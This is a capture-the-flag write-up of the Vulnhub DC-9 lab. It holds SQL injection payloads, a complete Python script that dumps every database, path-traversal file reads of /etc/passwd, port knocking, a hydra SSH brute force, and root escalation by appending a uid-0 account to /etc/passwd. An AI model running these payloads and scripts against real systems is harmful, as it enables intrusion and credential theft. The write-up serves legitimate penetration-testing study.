Vulnhub Writeup - DC: 9
You can find the box on Vulnhub here
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
Initial Recon
nmap host scan to discover the boxes IP
nmap -sn 192.168.110.0/24
autorecon to run a full nmap and some other tools on the machine
sudo autorecon 192.168.110.130
A few things to note from the nmap-full tcp scan and the nikto scan
- /config.php exists (blank from front end)
- port 80/HTTP open
- port 22/SSH is filtered remember this!
- Apache/2.4.38 (Debian)
Website
A gobuster scan of the site reveals a bunch of php files to browse to
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt,bak -u http://192.168.110.130/
Browsing around the site leads to a few initial findings to investigate
- possible sqli on search.php / results.php
- possible sqli on manage.php (login)
- possible brute force on manage.php (login)
- possible usernames on display.php
At this point, I reset the box as I had left some junk in the database. From now on the machine is at 192.168.110.150.
Here is a normal search
SQL Injection in results.php
Setting up a burp intruder scan to check for SQLi. Send a normal search through Burpsuite, choose the relevant POST request in HTTP History tab and send to intruder with Ctrl
+ I
Loading quick-SQLi.txt from seclists
After clicking start attack and waiting for the results, sorting by the Length column shows some interesting results. Results here that are 1248 bytes are “0 results” responses. Results at 1359 bytes are showing the single result of Barney Rubble and results that are 3357 bytes are showing all results from the table.
The most interesting result is when sending the admin' or '1'='1'#
. This shows us that this is a valid SQL injection. The POST data search=barneyadmin'%20or%20'1'%3d'1'#
or search=barneyadmin' or '1'='1'#
returns all of the results from the table. A possible SQL query that this might end up as could be
SELECT * From users WHERE firstname = 'barneyadmin' OR '1'='1'#
It also shows that #
is being treated as a comment character and removes any additional strings from the query. This means it can likely be used to dump the whole database.
Manual SQL Injection & not-sqlmap.py
Since I’m studying for OSCP, I won’t use SQLmap here and will instead manually dump the database by writing a script. First step is to get a valid SQL statement that can be used to return data from other tables. For this I will use the UNION SELECT
method.
To craft a valid UNION SELECT
, it’s first required to find the number of columns in the original query. To do this, ORDER BY
can be used.
Since there are at least 5 columns being returned to the UI, I’ll start by trying ORDER BY 5
I’ll enter this into the search box
' OR '1'='1' ORDER BY 5#
This results in the output being ordered by the Phone Number column. ORDER BY 6
results in sorting by email
search ordered by phone number using ' OR '1'='1' ORDER BY 5#
Ordering by 7 shows 0 results so this likely was an invalid SQL statement
So we can gather the original statement returns 6 columns and therefore a valid UNION SELECT
statement would be
' OR '1'='1' UNION SELECT 1,2,3,4,5,@@version#
This means it’s possible to return arbitrary data from the database.
Following from this, the concat
keyword can be used to join results into a single column and therefore any data can be extracted.
Using this logic, I put together a python script to dump all DBs on the system.
#!/usr/bin/python3
import requests
import urllib.parse
import re
from tabulate import tabulate
import colorama
from colorama import Fore, Style
baseUrl="http://192.168.110.150/results.php"
endPattern = re.compile(r'<\|end')
startStr = 'start|>'
def getTables(baseUrl, endPattern, startStr, dbName):
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',table_name,'<|end'),5,6 from information_schema.tables WHERE table_schema='" + dbName + "'" + "#"}
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
array=[]
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array+=re.split(',',rarifiedLine)
return array
#print(getTables(baseUrl,endPattern,startStr,"oscommerce"))
def getColumns(baseUrl, endPattern, startStr, dbName, tableName):
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',column_name,'<|end'),5,6 from information_schema.columns WHERE table_name='" + tableName + "'" + "#"}
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
array=[]
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array+=re.split(',',rarifiedLine)
return array
#print(getTables(baseUrl,endPattern,startStr,"oscommerce"))
def dumpTable(baseUrl, endPattern, startStr, dbName, tableName):
cols = getColumns(baseUrl,endPattern,startStr,dbName,tableName)
colstr=",',',".join(cols)
array=[[]]
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>'," + colstr + ",'<|end'),5,6 from " + dbName + "." + tableName + "#"}
#input("Continue [Enter]: ")
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array.append(re.split(',',rarifiedLine))
print(tabulate(array, headers=cols))
return
#dumpTable(baseUrl,endPattern,startStr,"oscommerce","osc_administrators")
def dumpDb(baseUrl, endPattern, startStr, dbName):
tables=getTables(baseUrl,endPattern,startStr,dbName)
for table in tables:
print(Style.RESET_ALL)
print(Fore.YELLOW + table)
print(Style.RESET_ALL)
dumpTable(baseUrl,endPattern,startStr,dbName,table)
input("Continue [Enter]: ")
return
#dumpDb(baseUrl,endPattern,startStr,"oscommerce")
def getDbs(baseUrl, endPattern, startStr):
searchData = {'search': "' UNION SELECT 1,2,3,concat('start|>',schema_name,'<|end'),5,6 from information_schema.schemata" + "#"}
x = requests.post(baseUrl, data = searchData)
rawLines=x.text.split(startStr)
array=[]
for line in rawLines:
if endPattern.search(line):
rarifiedLine=line.split('<|end')[0]
array+=re.split(',',rarifiedLine)
response=""
while response.lower() != 'q':
for count in range(0,len(array)):
print("[" + str(count) + "] " + array[count])
print("[Q] Quit")
response = input("Enter Selection: ")
if response.isnumeric():
if int(response) < len(array):
dumpDb(baseUrl,endPattern,startStr,array[int(response)])
return
getDbs(baseUrl,endPattern,startStr)
Running this script, I can dump database tables and other interesting information.
db version
10.3.17-MariaDB-0+deb10u1
admin password hash in “Staff” db is as follows. It can be cracked easily at crackstation.net
856f5de590ef37314e7c3bdf6f8a66dc md5 transorbital1
UserDetails table has some plaintext passwords
id firstname lastname username password reg_date
---- ----------- ---------- ---------- ------------- -------------------
1 Mary Moe marym 3kfs86sfd 2019-12-29 16:58:26
2 Julie Dooley julied 468sfdfsd2 2019-12-29 16:58:26
3 Fred Flintstone fredf 4sfd87sfd1 2019-12-29 16:58:26
4 Barney Rubble barneyr RocksOff 2019-12-29 16:58:26
5 Tom Cat tomc TC&TheBoyz 2019-12-29 16:58:26
6 Jerry Mouse jerrym B8m#48sd 2019-12-29 16:58:26
7 Wilma Flintstone wilmaf Pebbles 2019-12-29 16:58:26
8 Betty Rubble bettyr BamBam01 2019-12-29 16:58:26
9 Chandler Bing chandlerb UrAG0D! 2019-12-29 16:58:26
10 Joey Tribbiani joeyt Passw0rd 2019-12-29 16:58:26
11 Rachel Green rachelg yN72#dsd 2019-12-29 16:58:26
12 Ross Geller rossg ILoveRachel 2019-12-29 16:58:26
13 Monica Geller monicag 3248dsds7s 2019-12-29 16:58:26
14 Phoebe Buffay phoebeb smellycats 2019-12-29 16:58:26
15 Scooter McScoots scoots YR3BVxxxw87 2019-12-29 16:58:26
16 Donald Trump janitor Ilovepeepee 2019-12-29 16:58:26
17 Scott Morrison janitor2 Hawaii-Five-0 2019-12-29 16:58:28
Logging in as admin user & Local File Inclusion
Logging in as admin on /manage.php gives some extra functionality to add items to the database. But one thing caught my eye on the page - “File does not exist”. This hints at a possible Local File Inclusion (LFI) vulnerability.
I tried a few things in here
http://192.168.110.150/welcome.php?file=/etc/passwd
http://192.168.110.150/welcome.php?file=index.php
http://192.168.110.150/welcome.php?file=/var/www/html/index/php
None of these worked, but the standard ../../../../../../../
works!
http://192.168.110.150/welcome.php?file=../../../../../../../etc/passwd
I went through the high on coffee LFI cheatsheet and found some interesting stuff but nothing that could get code execution. /proc/self/fd/13
appears to show the PHP Session information so I wondered if I could change the logged in username somehow.
myusername|s:5:"admin";logged_in_user_name|s:5:"admin";display_errors|s:3:"yes";
If it was possible to change the username from admin
to <?php phpinfo(); ?>
then maybe I could get code execution here.
Unfortunately that was a dead end and I had to get a hint at this point to continue the box. Remember that port 22 is filtered? This is a hint that port knocking might be in use on the box. The default location on Debian for the knockd.conf file is /etc/knockd.conf.
Someone’s knocking on the door
The OpenSSH sequence is as follows
[openSSH] sequence = 7469,8475,9842
So I ran the following to open up the ssh port, running nc will attempt to open a connection to each port in order and hopefully open the SSH port.
nc -w 1 192.168.110.150 7469; nc -w 1 192.168.110.150 8475; nc -w 1 192.168.110.150 9842
SSH Brute force
Cool. So now SSH is open, the username / password combinations found in the database can be used to attempt a brute force attack using hydra
.
I dumped the username column found in the UserDetails table above into usernames.txt. Same for passwords into passwords.txt. I also included root and admin in the usernames file and transorbital1 in the passwords file.
Hydra SSH brute force, using 4 threads as per recommendation from hydra help.
hydra ssh://192.168.110.150 -L ./usernames.txt -P ./passwords.txt -T4
OK so 3 accounts to try out on the box. After logging into each user and checking the home folders, there is a hidden directory in janitor’s home folder with some additional passwords.
Adding the unique ones to the passwords.txt and re-running hydra reveals a new account
One of the first things I run as a user on a box is sudo -l
before running any recon scripts, in this case it’s lucky!
Trying out the binary
Using file /opt/devstuff/dist/test/test
shows that this is a linux ELF binary. it appears the binary will read one file and append another. I created 2 test files and ran the binary against them. It appears to append the contents of the file in the first argument to the file in the second argument.
running with sudo permissions shows that root is writing the file.
A method to gain root privileges with a write-as-root ability is to add a new user to the /etc/passwd
file.
generate a password hash with openssl
openssl passwd -1 -salt salt pass123
$1$salt$wYA1OLWmuL0.PdCmjvhHV0
create a new file called append-user.txt with the new user account and password hash as follows
newuser:$1$salt$wYA1OLWmuL0.PdCmjvhHV0:0:0:newuser:/root:/bin/bash
run the append script with sudo
sudo /opt/devstuff/dist/test/test append-user.txt /etc/passwd
su to the new user with password pass123 as above
fredf@dc-9:~$ su newuser
Password:
root@dc-9:/home/fredf# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-9:/home/fredf#
And we’re done. Thanks for reading!
Written with StackEdit.